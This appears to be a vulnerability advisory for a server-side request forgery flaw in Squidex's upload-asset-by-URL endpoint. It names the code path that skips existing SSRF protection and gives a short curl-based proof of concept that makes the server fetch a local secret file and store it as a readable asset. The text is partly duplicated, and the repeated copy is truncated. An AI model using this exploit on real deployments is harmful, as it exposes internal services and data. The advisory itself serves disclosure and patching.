Summary
An SSRF vulnerability allows a user with asset upload permission to force the server to fetch a
rbitrary URLs, including localhost/private network targets, and persist the response as an asse
t.
Details
The URL upload flow accepts url and name from multipart form data, then performs a server-side
GET request directly against the provided URL.
Incriminated code:
- backend/src/Squidex/Areas/Api/Config/AssetFileResolver.cs
- DownloadFileAsync(...) reads untrusted url from request form and executes
httpClient.GetAsync(fileUrl, ct) (around lines 67-90).
The project contains SSRF protection infrastructure:
- backend/src/Squidex.Infrastructure/Http/SsrfExtensions.cs (EnableSsrfProtection)
- backend/src/Squidex.Infrastructure/Http/SsrfProtectionHandler.cs
But EnableSsrfProtection(...) is not used in the vulnerable HTTP client path, so SSRF
protections are not enforced for this endpoint.
PoC
Environment used for reproduction:
Steps:
- Start a local internal-only service:
mkdir -p /tmp/ssrf-secret
echo 'SSRF_POC_SECRET_7f2f6ad8' > /tmp/ssrf-secret/secret.txt
cd /tmp/ssrf-secret && python3 -m http.server 9099 --bind 127.0.0.1
- Upload asset via URL (server-side fetch):
curl -X POST "http://127.0.0.1:5000/api/apps//assets/"
-H "Authorization: Bearer "
-F "url=http://127.0.0.1:9099/secret.txt"
-F "name=secret.txt"
- Read uploaded asset:
curl -H "Authorization: Bearer "
"http://127.0.0.1:5000/api/assets///secret.txt"
Observed result:
- Upload returns 201
- Downloaded asset content equals SSRF_POC_SECRET_7f2f6ad8
- Internal service log shows GET request from Squidex server process
Impact
- Vulnerability type: SSRF
- Enables access to localhost/private network resources from server context
- Can be used for internal service probing and sensitive data exfiltration
- Affects deployments where users/clients can upload assets by URL
Summary
An SSRF vulnerability allows a user with asset upload permission to force the server to fetch a
rbitrary URLs, including localhost/private network targets, and persist the response as an asse
t.
Details
The URL upload flow accepts url and name from multipart form data, then performs a server-side
GET request directly against the provided URL.
Incriminated code:
httpClient.GetAsync(fileUrl, ct) (around lines 67-90).
The project contains SSRF protection infrastructure:
But EnableSsrfProtection(...) is not used in the vulnerable HTTP client path, so SSRF
protections are not enforced for this endpoint.
PoC
Environment used for reproduction:
f2f6ad8
Steps:
mkdir -p /tmp/ssrf-secret
echo 'SSRF_POC_SECRET_7f2f6ad8' > /tmp/ssrf-secret/secret.txt
cd /tmp/ssrf-secret && python3 -m http.server 9099 --bind 127.0.0.1
curl -X POST "http://127.0.0.1:5000/api/apps//assets/"
-H "Authorization: Bearer "
-F "url=http://127.0.0.1:9099/secret.txt"
-F "name=secret.txt"
curl -H "Authorization: Bearer "
"http://127.0.0.1:5000/api/assets///secret.txt"
Observed result:
Impact